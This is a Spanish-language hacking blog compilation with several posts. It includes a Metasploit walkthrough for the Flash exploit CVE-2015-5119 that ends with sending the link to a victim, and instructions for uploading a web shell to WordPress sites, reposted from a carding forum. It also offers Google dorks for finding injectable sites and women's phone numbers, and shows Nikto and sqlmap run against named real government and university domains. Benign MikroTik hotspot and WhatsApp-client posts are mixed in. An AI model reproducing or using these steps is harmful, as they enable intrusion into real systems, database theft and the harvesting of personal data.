2015 Flash 0day exploit HackingTeam

Buenas tardes mis queridos lectores en esta oportunidad debo manifestar que mi blog lo eh abandonado demasiado tiempo, creo que no esta bien dejarlo de lado porque yo enseñando aprendo muchas muchas nuevas de este mundo de la seguridad informatica, por ende hare un compromiso de publicar un articulo por dia para actualizar el blog nuevamente como antes lo habia hecho, ante mano en esta oportunidad haremos un ataque por Metasploit Framework con el nuevo exploit que ha salido hace pocos meses que es el conocido 'CVE 2015-5119


Plataformas vulnerables:

        Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
        Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
        Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194,
        Windows 8.1 (32-bit), IE11 and Flash 17.0.0.169, and
        Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.

Descarga del exploit:

http://downloads.securityfocus.com/vulnerabilities/exploits/75568.rb

Lo primero que debemos hacer es guardar el exploit con el nombre que deseen no hay problema.

lo pueden hacer por el editor de texto, en mi caso lo hice por terminal con el comando nano como pueden apreciar en la siguiente imagen:

una ves finalizado nuestro exploit estara en el directorio principal en este caso /root/. lo que haremos sera primero crear una carpeta y mover nuestro exploit a los modulos de metasploit.

java0day.rb

root@kali:~# mkdir .msf4/modules/exploits/hackingteam

root@kali:~# mv java0day.rb .msf4/modules/exploits/hackingteam

root@kali:~# ls .msf4/modules/exploits/hackingteam

java0day.rb

root@kali:~# 

Descarga del payload smf:

https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/CVE-2015-5122/msf.swf

root@kali:~# mk dir -p /usr/share/metasploit-framework/data/exploits/CVE-2015-5119

root@kali:~# mv msf.swf / usr/share/metasploit-framework/data/exploits/CVE-2015-5119

root@kali:~# 

Una ves terminado, pasaremos abrir nuestro metasploit y añadiremos el siguiente comando para actualizar los modulos que añadimos.

msf > reload_all
[*] Reloading modules from all module paths...
# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *



Ejecutando en exploit:

--------------------------------------------------------------------------------------------------------------------------
msf > use exploit/hackingteam/java0day

msf exploit(java0day) > set LPORT 8080

msf exploit(java0day) > set SRVPORT 80

msf exploit(java0day) > set URIPATH /

msf exploit(java0day) > set LHOST 192.168.219.128

msf exploit(java0day) > exploit
--------------------------------------------------------------------------------------------------------------------------

Mandamos el link a nuestra victima y automaticamente como siempre tendremos nuestra conexion establecida, saludos para todos.

No mostrare la explotacion de mi sistema, porque ya que sabemos como estamos adentro de un sistema.

Creado por Omar Rodriguez

Method Ninja of Google Hacking

Saludos antes de comenzar a redactar, deseo mandar saludos a un buen hermano con el seudónimo "Eduardo Desdes" la cual me a demostrado métodos nuevos de utilizar las Dorks de manera mas profesional e intelectual.

Como sabemos Google es un servicio de indexación  de paginas web's,fotos,ftps,ips,entre muchos datos que se alojan cuando utilizamos dicho servicio de manera respectiva.

Ejemplo de lo que sucede al navegar en Google

Al hacer clic en Enviar, Google rastrea e indexa el contenido de la URL tal como está en ese momento. Si cambias el contenido de una URL que tiene pendiente una solicitud de envío, es posible que los resultados del nuevo rastreo sean distintos a los resultados obtenidos con Explorar como Google. Asimismo, como Google vuelve a rastrear la página al enviarla, no importa si la URL que envías se ha analizado mediante la herramienta Explorar como Google con o sin procesamiento.

Una vez enviada la URL, es posible que tengas que esperar un poco hasta que Google procese la solicitud y rastree e indexe la página.

Google nuestra arma de auditar de manera manual

Hemos hablado respectivamente que google es un buscador de todo tipo de datos a nivel mundial ya que contiene millones de millones de sitios enlazados al servicio del publico.

Para un auditor google es la mejor arma en todos los sentidos ya que nos va facilitar el trabajo de intelectual con un objetivo que deseamos auditar de manera rápida  y eficaz  al momento de concatenar con las denominadas " Dorks of Google " combinándolas para tener un mayor desenlace en nuestro objetivo.


Plataforma del atacante

Uno de los servicios donde liberan miles de wikileaks es sin duda  http://pastebin.com/ durante los años de vigencia de este servicio se a alojado información de alto prestigio, pero lo que nosotros necesitaremos serán los Posts de dorks que podremos obtener mediante su búsqueda hasta el momento nos a indexeado 1,930 resultados ojo debo aclarar que  dicho servicio nos dará información de cualquier tipo de dorks como documentos,archivos,ftp,ip,cámaras e infinidades de dispositivos que tengan una interface de protocolo en la red mundial.

Todos hemos utilizado algunas dorks como:

Inurl:/noticias.php?id=
inurl:/eventos.php?id=
inurl:/detalles.php?id=
inurl:/principal.php?id=
inurl:/imagenes.php?id=
inurl:/videos.php?id=

Entre otras muchas que hemos visto en la web.

como vemos nos arrojan varios parámetros GET con la palabra noticias.php?id= , todo el mundo lo hace de manera recurrente consiguiendo mayormente vulnerabilidades de sql inyección.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'6' at line 1

Google es una gran base de datos donde se acumulan muchos datos sensibles por el descuido de los mismo administradores , depende del usuario malicioso para usar esta información para su conveniencia

Explicación de las dorks :

Las Dorks son una serie de sentencias conformadas por operadores de búsqueda avanzada de google , que nos sirve para perfeccionar nuestra búsqueda y para encontrar paginas vulnerables. A continuación mencionare unos cuantos comando principales.

inurl:(panel) el buscador mostrara todos los resultados tal que en su url este la palabra 'panel'

intitle:(inicio) el buscador mostrara todos los resultados tal que en su titulo de pagina este la palabra 'inicio'

intext:(contraseña) el buscador mostrara todos los resultados tal que en el texto se su pagina este la palabra 'contraseña'

filetype:(pdf) el buscador mostrara todos los resultados que sean de tipo pdf eso se puede reemplazar por php, html , jpg y cualquier otro archivo.

site:(edu.pe) el buscador mostrara todos los resultados tal que su dominio sea gob.pe, ejemplo www.uap.edu.pe

Se pueden poner mas de una palabra (esto sirve para todo los comandos) por ejemplo:

intext:(contraseña usuario) Muestra los resultados que tengan la cadena 'contraseña usuario'

intext:(contraseña & usuario) Muestra los resultados que tengan 'contraseña' y 'usuario'

intext:(contraseña | usuario) Muestra los resultados que tengan 'contraseña' o 'usuario'

Se puede quitar resultados (esto sirve para todo los comandos) por ejemplo:

intext:(contraseña usuario) -intext:(sangre) Muestra los resultados que tengan la cadena 'contraseña usuario' y que no tengan la palabra 'sangre'

Ahora solo queda en su imaginación las dorks que desean armar  ! Por ejemplo

site:edu.pe intext:(usuario contraseña) filetype:php Esto mostrara los paneles de las webs de las universidades , al menos los de tipo php y que estén en español

site:pe intext:(femenino & telefono) filetype:xls Esto mostrara los teléfonos de mujeres del Perú jajaja.


Escenario dirigido a un servidor web:

Una anécdota que me encanto fue cuando  estuve auditando de manera manual y a la vez con burp Suite y una herramienta privada que programe la cual consta de hacer un escaneo general capturando al servidor de manera completa y efectiva de todos los archivos,módulos y demás que tengan en la misma.

Algún día liberare mi herramienta,pero por el momento estará en mi a mi disposición personal.
Cyberscan.py

la vulnerabilidad fue reportado, espero lo hayan parchado.

la adecdota es que con mi camarada Eduardo Desdes, estuvimos auditando una web "X", entonces empece a utilizar las herramientas que comente hace momentos, cabe destacar que la herramienta estaba en Joomla, me parecio interesante pero lo único que encontraba era falsos positivos y algunos XSS ya que por mi parte los encontraba de forma manual, por otra mi herramienta capturada el sitio web, entonces empece aburrirme y mi camarada me comento lo siguiente "Encontré un Error", mi primera impresión fue "WTF" como lo hiciste? ni con Joomscan xD! y me dijo pues " utilice una dork".me recordó a mis comienzos cuando buscaba parámetros  GET and POST para encontrar fallos a sitios arbitrarios o a un objetivo central

Lo interesante de todo esto es que me había olvidado de hacer un dns inverso al sitio web para ver que tiene sus subdominios.

Entonces fue cuando me enseño una dork peculiar :

site:ejemplo.gob.pe inurl:& -inurl:index.php

Entonces me di cuenta cuando ejecute la sentencia ' que era una Sql inyección ciega pues mi camarada efectivamente lo había explotado : )

Entonces comprobé la dork y efectivamente me sorprendió.

El mejor  consejo que puedo dar es que no hay que discriminar, ni disminuir lo que las dork pueden encontrar mediante una búsqueda configurada para obtener datos dedicados para un ataque dirigido, aveces recordar nuestros comienzos pueden ser  utilices a la hora de utilizarlos, Gracias

Creado por Omar Rodriguez 

Auditando con Nikto 2 Web vulnerability Scanner

Saludos estimados lectores en esta oportunidad vamos aprender a utilizar Nikto en su nueva plataforma mejorada sin mas que decir vayamos a la acción.

Nikto es un código abierto,es escáner de servidor web que realiza pruebas exhaustivas a servidores web por varios elementos, incluyendo archivos potencialmente peligrosos,programas, controles de versiones no actualizadas de servidores, y los problemas específicos de la versión sobre servidores. También comprueba si hay elementos de configuración del servidor, tales como la presencia de múltiples archivos de índices, opciones de servidor HTTP, y tratará de identificar los servidores web instalados y software. Artículos de escaneo y plugins se actualizan con frecuencia y se pueden actualizar automáticamente.

Características

• Estas son algunas de las características principales de Nikto. Consulte la documentación para obtener una lista completa de las características y la forma de utilizarlos.
• Soporte SSL (Unix con OpenSSL o tal vez de Windows con ActiveState de
• Perl / NetSSL)
• Soporte de proxy HTTP completa
• Comprueba la existencia de componentes de servidor obsoletos
• Guardar informes en texto plano, XML, HTML, NBE o CSV
• Motor de plantillas para personalizar fácilmente informes
• Escanear múltiples puertos en un servidor o varios servidores a través de archivo de entrada (incluyendo salida de nmap)
• Técnicas de codificación de IDS de LibWhisker
• Fácilmente actualizado a través de línea de comandos
• Identifica el software instalado mediante encabezados, favicons y archivos
• Anfitrión de autenticación con Basic y NTLM
• Adivinanzas Subdominio
• Apache y cgiwrap nombre de usuario enumeración
• Técnicas de mutación a "pescado" para el contenido en servidores web
• Analiza tuning para incluir o excluir clases enteras de la vulnerabilidad
• cheques
• Adivina credenciales para reinos de autorización (incluyendo muchos Identificación del default / pw combos)
• Autorización adivinando maneja cualquier directorio, no sólo la raíz
• directorio
• Reducción mejorada falso positivo a través de varios métodos: encabezados,
• contenido de la página, y el contenido de hash
• Informes cabeceras "inusuales" visto
• Estado interactivo, pausa y cambios en los ajustes de verbosidad
• Ahorre petición / respuesta completa para las pruebas positivas
• Replay salvado solicitudes positivas
• El tiempo máximo de ejecución por blanco
• Auto-pausa en un momento determinado
• Comprueba si hay sitios "estacionamiento" comunes
• Ingreso a Metasploit

Descarga: https://cirt.net/Nikto2

Plataforma de ataque

Para este escenario utilizare el distro Kali Linux versión 2 ya que nitko viene instalada por defecto.
abriremos la terminal para intelectual con la plataforma:

como vemos tenemos muchas opciones la cual vamos a interactuar  al momento de realizar un método distinto para cada auditoria que ejecutemos, lo que haremos sera algo básico y muy funcional para auditar toda la plataforma de manera rápida de la siguiente manera.

En esta prueba de concepto utilizare un sitio web vulnerable desde tiempos mitologicos xD!,para automatizar rápido el ataque porque ando en la oficina y no tengo mucho tiempo que digamos.

nikto -host www.uap.edu.pe

Como podemos observar tenemos algunos BUG relacionados con complementos del servidor web y archivos en métodos GET,POST como tambien captura las cabeceras y elemtnos de entrada y saluda del servicio,no obstante podemos destacar que nos brinda información gathering y que tipo  de servidor esta en su dedicado como es "DAV", te acuerdo con esa recopilación podemos emitir muchos ataques dirigidos, pero tranquilo!! eso no es todo nikto todavía sigue en ejecución.


+ Cookie ASPSESSIONIDAARBBQAC created without the httponly flag
+ OSVDB-3092: /intranet/: This might be interesting...

Entre muchas mas ya que esta web tiene miles de datos en su servicio que no hay necesidad de mostrar por la prueba de concepto ético,como vemos Nitko esta desarrollado para testear los complementos de un servidor en busca de vulnerabilidades arrojando los Exploit para realizar la explotación de dichos agujeros de seguridad, que puede ser trabajada de la mano con msfconsole.

de igual manera podemos intelectual con la siguiente opción podemos inhabilitar la búsqueda de sectores 404.

nikto -host www.presidencia.gob.pe -no404

de la misma manera podemos acatar que esta herramienta posee una infraestructura muy buena porque nos permite ver que servicios de protección esta utilizando los conocidos "waf " .

Sin mas que decir me despido de todos ustedes, con fuerte abrazo! Saludos.

 

 

Creado Por Omar Rodriguez

Sube Shell En Wordpress Sitio

Cómo subir Shell En Wordpress Sitio En este post, voy a mostrar dos formas de subir shell en WordPress Sitio. 1) Edición del tema de WordPress En este método, no todo sitio de WordPress puede ser editado el tema, debido a cierta administrador del sitio tiene el cambio el permiso de cambiar el tema. En ese caso, el tema no se puede cambiar. Procedimiento 1- Una vez que haya iniciado sesión en el sitio, verá el administrador Dashboard

2- En el sitio izquierda, mueva el ratón para Apariencia y haga clic en Editor 3- Al hacer clic en Editor, verá algo como esto 4- Seleccione el tema Twenty Ten y seleccione 404.php 5- Retire todos los códigos y pegar el script de shell no 6- Actualización y se ejecutará el shell. 7- Su caparazón será en /wp-content/themes/THEMENAME/404.php Ejemplo: Google .example. com / wp-content / themes / TwentyTen / 404.php 2) Carga de Nuevo tema Si cambia el tema no funciona, puede intentar subir tu shell al cargar el nuevo tema. Procedimiento 1- En primer lugar, descargar el tema Worpress modificado con la cáscara en eso.

Código:

http://adf.ly/uOPDK

2- Bien, ahora vaya a Temas y haga clic en Instalar Tema [IMG] http://i.imgur.com/ofNqE**.jpg [/ IMG]

3- Haga clic en Cargar y usted consigue una opción de carga. 4- Examinar el tema que usted tiene descarga, news.zip, y haga clic en Instalar ahora y obtendrá esto. 5- Su caparazón será en vivo en / wp-content / themes /news/bcc.php Ejemplo: Google . ejemplo. com / wp-content / tema / noticias / bcc.php Eso es todo.

Read more: http://cardingmafia.ws/f25/upload-shell-wordpress-site-25676/#ixzz3jVRk3Bs2

Configurar MikroTik Hotspot (Portal Cautivo)

Un Portal Cautivo o Portal Captivo es un sistema que permite capturar el tráfico http (web) de nuestros clientes y redireccionarlo a un Portal para fines de autenticación. Una vez el clientes es autenticado, este puede acceder a todos los servicios de internet con "normalidad".

La configuración estandar de MikroTik Hotspot es muy fácil de configurar, pero hay que hacer ciertas modificaciones para evitar tener problemas en nuestra red si es que utilizamos AP's o Routers modo cliente. Tengan en cuenta que un hotspot está pensado para ser utilizado en lugares relativamente "pequeños", y que además sus clientes NO se conectarán a través de AP's o Routers modo cliente... osea imagínense un Starbucks donde todas las personas que se conecten ahí, lo harán directamente con laptops, iPod, PDA, smartphones, etc.

Muchos usan MikroTik Hotspot en redes wireless extensas como único sistema de seguridad, dejando la señal abierta (sin encriptación), teniendo la creencia que este sistema es inviolable, lo es bastante falso. Sin contar que estamos dejando la puerta abierta para que cualquier persona malintencionada haga un gran alboroto en nuestra red.

Para hacer esta guía, estoy tomando en cuenta que ya tenemos el servidor configurado y funcionando, así que sugiero leer las demás guías básicas si se presentan problemas o dudas que no explico en esta guía. Quizá parexca algo complicado, pero con sólo seguir las imágenes sería suficiente, ya si se quiere profundizar o si se tiene duda de algo, tocaría leer el contenido.

Parte 1: Configurando Hotspot con el asistente de configuración.

Para empezar vamos a IP -> Hotspot -> pestaña Servers -> botón Hotspot Setup, para iniciar con el asistente de configuración de Hotspot Server.




Al igual que la configuración del servidor DHCP de MikroTik, nos ayudaremos del asistente de configuración automática para así configurar "correctamente" nuestro Hotspot, inclusive ambos son muy parecidos.



HotSpot Interface, debemos especificar la interfaz donde se configurará el Hotspot server, obviamente elegiremos la interfaz de red LAN o tarjeta de red de los clientes, que en este caso es ether2.



Local Address of Network, aparecerá automáticamente la puerta de enlace de los clientes, que en este caso es 192.168.10.1; claro, está tomando los datos del IP de ether2 que especificamos en el paso anterior.

Masquerade Network, lo desmarcamos ya que tenemos el servidor funcionando, por lo tanto, ya contamos con el enmascarado. Si activamos este check creará otro enmascarado, pero en este caso será por rango de red.



Address Pool of Network, aparecerá un rango de IP's que serán asignados a los clientes para que así obtengan un IP automáticamente. En este caso apareció un rango ya definido, este rango lo tomó de una configuración previa ya que tenía configurado un servidor DHCP. Si no tuvieramos un servidor DHCP funcionando, este paso activaría uno obligatoriamente. Ya más adelante podremos deshabilitarlo.



Select Certificate, a momento sólo vamos a elegir none, ya que no contamos con un certificado SSL. Estos certificados son utilizados para validar una página web (como nuestro portal cautivo) cuando se utiliza el protocolo 

https y así encriptar las conexiones entre el cliente y servidor, muy utilizado en las páginas de los bancos ya que así ofrecen seguridad respecto a las claves y los movimientos.



IP Address of SMTP Server, lo dejamos tal como está: 0.0.0.0 ya que no contamos un un servidor SMTP.



DNS Servers, si ya tuvieramos configurado el DNS Cache estos valores aparecerán automáticamente, sino, pues lo tendremos que agregar manualmente.



DNS Name, aquí colocaremos un DNS para nuestra red de hotspot; para tenermo más claro, cuando hotspot ya esté funcioando y queramos abrir una página, este nos redireccionará al portal cautivo para que nos autentiquemos con nuestro usuario y clave, ese portal tendrá dirección http://login.hot.net/ ya que ese es el DNS que escribimos; en todo caso, si este valor se deja en blanco, hotspot usará directamente la puerta de enlace de los clientes, o sea, el 
http://192.168.10.1/



Name of Local Hotspot User, por defecto, el nombre de usuario administrador para el logueo en el hotspot es admin, aunque si lo quieren cambiar, no hay problema, pero recuérdenlo! ya que con ese nombre se autenticarán al hotspot por primera vez.

Password for the User, el password de logueo, en este caso el password será test, lo pueden cambiar por el gusten, pero al igual que la opción anterior, es necesario recordarlo.

Una vez hecho esto saldrá un mensaje que nuestro hotspot fue configurado satisfactoriamente; luego, si nuestro WinBox estaba conectado al servidor MikroTik por IP, seguramente nos desconectaremos inmediatemente. Si estabamos conectados por MAC, seguiremos conectados. En todo caso, nuestro servidor hotspot YA está configurado, y si intentáramos abrir una nueva página, este nos mostrará el portal cautivo de MikroTik.



Una vez que veamos el portal cautivo, tendremos que autenticarnos con el user y password que configuramos previamente, en mi guía el login es admin y el password es test. Una vez autenticados, hotspot nos dará un mensaje de bienvenida y tendremos internet normalmente (sin esta autenticación no hay absolutamente ningún servicio disponible que dependa de internet, o sea, no juegos, no msn, no skype, etc.)

SQL Injection desde BurpSuite con SQLmap Burp Plugin

INTRODUCCIÓN:

Burp Suite es una herramienta que nos permite realizar pruebas de seguridad en las aplicaciones web. Sus diversas herramientas funcionan perfectamente la cual apoya mucho en el proceso de prueba de penetración  a partir de la cartografía y el análisis inicial de la superficie de ataque de una aplicación, hasta la búsqueda y explotación de las vulnerabilidades.

Muchas veces cuando se realiza auditoria a un sitio web, siempre es recomendable colocar un proxy intermedio para saber y tener el control total de las peticiones enviadas y recibidas, para ello se debe utilizar Burp Suite.

También es de conocimiento que en estas auditorias, la vulnerabilidad mas conocida que se puede presentar es la SQL Injection.

Para tal caso, en esta entrada presentare un Plugin totalmente gratuito desarrollado por ggdaniel que nos servirá para usar el SQLmap desde el Burp Suite de una forma fácil y eficaz.

¿QUE ES SQLMAP?

Sqlmap es una herramienta de código abierto que ayuda a automatizar el proceso de detectar y explotar las vulnerabilidades de inyección SQL permitiendo tener acceso total a la base de datos de los servidores web.

¿QUE ES SQLMAP BURP PLUGIN?

Sqlmap plug-in es un complemento del que podemos configurar al Burp Suite a través del cual podemos redirigir un URL o una solicitud directamente al Sqlmap con un solo clic.

¿COMO CARGAMOS EL PLUGIN AL BURP SUITE?

Muy fácil, lo primero que tenemos que hacer es descargar dicho plugin desde el siguiente link: http://code.google.com/p/gason/downloads/list recomiendo descargar (burpplugins-0.9.3.zip), luego descomprimir los archivos y colocarlos en la misma carpeta donde se ubica el Burp Suite (Pentest - Web - burpsuite)

Seguidamente, ejecutamos el comando para ejecutar Burp Suite junto con el plugin respectivo.

Linux:

• java -classpath burpplugins.jar:burpsuite_v1.4.01.jar burp.StartBurp

Windows:

• java -classpath burpsuite_v1.4.01.jar;burpplugins.jar burp.StartBurp

CONFIGURACIÓN DEL PROXY:

Firefox:

• Edit - Preferences - Advanced - Network - Settings - Manual Proxy Configuration

Google Chorme:

• Settings - Show Advanced Options - Network - Change Proxy Settings - Connections - LAN Settings

La configuración del proxy es necesario para realizar este método  ya que necesitamos que el navegador envié las peticiones al Burp Suite.

¿COMO UTILIZAMOS EL PLUGIN?

Una vez que hemos ejecutado el Burp Suite junto al Plugin, es muy fácil hacer uso de la misma, simplemente hacemos clic derecho sobre los parámetros de la petición  la cual se podrá apreciar la opción "Send to Sqlmap" como se muestra en la siguiente imagen:

Si clickeamos en dicha opción, se abrirá una nueva ventana (SQLMap wrapper) que permitirá configurar Sqlmap.

Se muestra la visión general de las características de configuración, en la opción "Target" se especifica la URL que vamos a probar (normalmente se llenará por defecto ya que se ha enviado previamente los parámetros de la petición).

Especificamos el método en el que el dominio es accesible (GET/POST), luego en el "Bin-path" buscamos la ubicación del Sqlmap y cargamos el archivo sqlmap.py

En "Custom options" se puede seleccionar las opciones que la herramienta ejecutara, por ejemplo podemos enumerar los database users, passwords, roles, privileges, databases, etc. Por defecto se encuentra en "Auto" la cual significa que la herramienta tratara de enumerar todas las opciones que aparecen en la lista.


Una vez configurado el Sqlmap, hacemos clic en "Run" y se abrirá una nueva pestaña con la ejecución  de la configuración, como se aprecia en la siguiente imagen:

Se puede observar que el sitio web es vulnerable, por lo tanto es accesible la base de datos.

Ahora vamos a tratar de enumerar todas las tablas de la bases de datos "intranet", para ello configure el Sqlmap wrapper con la opción "Enumerate database tables" la cual devuelve los resultados siguientes:

Seguidamente enumeramos la tabla "dbo.BusquedaWeb" para obtener sus columnas, para ello seleccionamos la opción  "Enumerate database tables and columns" devolviendo el siguiente resultado:

Como ya tenemos los datos de la base de datos, tablas y columnas, procederemos a darle Dump para obtener los resultados finales, para ello usaremos la opcion "Dump DBMS database" recibiendo los últimos resultados como se aprecia en la imagen siguiente:

Después de obtener los datos que "deseamos" podemos guardar el contenido de la información obtenida, para ello seleccionamos en la opción "Save to file" la cual se guardara en un archivo de texto.

Como ven, auditar un sitio web desde BurpSuite con este plugin es muy cómodo y eficaz, la cual nos ayuda mucho en este proceso tan tedioso que suele ser el Test de Penetración.

VIDEO-TUTORIAL:

ThatsaPC, utiliza WhatsApp desde el escritorio de Gnu/Linux

El éxito que ha tenido WhatsApp desde sus comienzos ha sido realmente arrollador y como ya hemos visto en el pasado han forzado a las operadoras a modificar sus planes de SMS y a lanzar su propia aplicación de mensajería para hacer frente a este fenómeno y no quedar fuera de el. Así las cosas no iba a pasar mucho tiempo hasta que llegara un aplicación de escritorio para poder enviar mensajes a WhatsApp desde el ordenador, para poder suplir el faltante el whatsapp que tal como sus desarrolladores han avisado no va a ser resuelto.

Por ello conocimos hace un mes atrás a WebsApp y hoy queremos presentar otra alternativa llamada ThatsaPC, que se encuentra en fase alpha y con la cual podemos enviar mensajes a WhatsApp desde el escritorio de Windows y Linux, y que ya está disponible en 32 bits en el caso del sistema operativo de Microsoft, y en 32 y 64 bits en el sistema operativo del pingüino.



A pesar de lo reciente de su lanzamiento parece que los desarrolladores están muy activos y no sólo están agregando características de forma continua sino que prometen unas cuantas más para el mediano plazo, y entre lo que si tenemos disponible en este momento podemos mencionar su sencilla y rápida interfaz que nos permite conectarnos y añadir contactos, el soporte para modificar nuestro nick y estado, la posibilidad de guardar los contactos en el ordenador para no tener que importarlos cada vez que nos conectamos y el hecho de poder mantener conversaciones individuales.

Otro aspecto interesante de ThatsaPC es que se trata de una aplicación portable por lo cual simplemente debemos descargarla desde su sitio web y ejecutarla sin proceso de instalación alguno, y al momento de iniciar la sesión debemos seleccionar la opción donde indicamos que ya contamos con una cuenta de WhatsApp, tras lo cual debemos añadir nuestro nombre, el prefijo telefónico de nuestro país, el número de teléfono y el IMEI de nuestro teléfono, esto último imprescindible para que WhatsApp se crea que estamos utilizando su servicio desde un teléfono.

En el siguiente vídeo podemos apreciar un poco el funcionamiento general de ThatsaPC:


Demostracion:

ThatsaPC es una herramienta que te permite usar tu cuenta de Whatsapp con el ordenador (sin necesidad de utilizar un emulador de Android).

Usted puede conseguir enlaces de descarga aquí:
http://adf.ly/CEdzJ

Sin embargo, leer primero:

En este momento no hay más que Windows versión 64 cargado. Vamos a escribir una entrada cada vez que pongamos el resto.

Usuarios de Windows

Versión de Windows está empaquetado en un archivo zip. Es necesario extraer la carpeta que está dentro con el fin de usarlo. Entonces usted necesita para ejecutar Login.exe.

Es posible que usted necesita para instalar Windows VC ++ Redist:

Enlace para 32 y 64 bits

Si usted no sabe que para descargar, obtener VSU1 \ vcredist_x86.exe   si se utiliza 32 bits, o VSU1 \ vcredist_x64.exe  si se utiliza 64 bits.

Los usuarios de Linux

Versión para Linux no está lleno. Usted tiene python y código javascript. Así, los usuarios necesitarán:

• Haber instalado Python2.7
• Haber instalado PyQt para Python2.7

Y entonces usted puede hacer:

1. Ejecutar "python Login.py" en un terminal.
2. Programa de paquete utilizando la escritura setup.py.

Características

Las características de la herramienta:

• Conversación individuo regular.
• Interfaz rápida para conectar y agregar contactos.
• El uso de nick.
• Cuentas Android funciona como un encanto. 
• compatibilidad cuenta iPhone.

Y estamos trabajando para agregar:

• Estabilidad
• Apoyo charset Unicode completo.
• Enviar imágenes, videos, sonidos y lugares.
• Añadir opciones.
• Traducción de idiomas.
• Mantener contactos en el ordenador para evitar la necesidad de añadir cada vez.
• Editar y borrar información de contactos.
• Visualice imágenes, videos, y lugares.

Errores

Si observa un error, puede escribir un tema en  bitbucket .

La herramienta utiliza su número de teléfono y el IMEI conectarse. Así advertimos: PROTEGEMOS TU IMEI y Mac. UN ROBO IMEI O MAC SIGNIFICA cuenta robada WHATSAPP.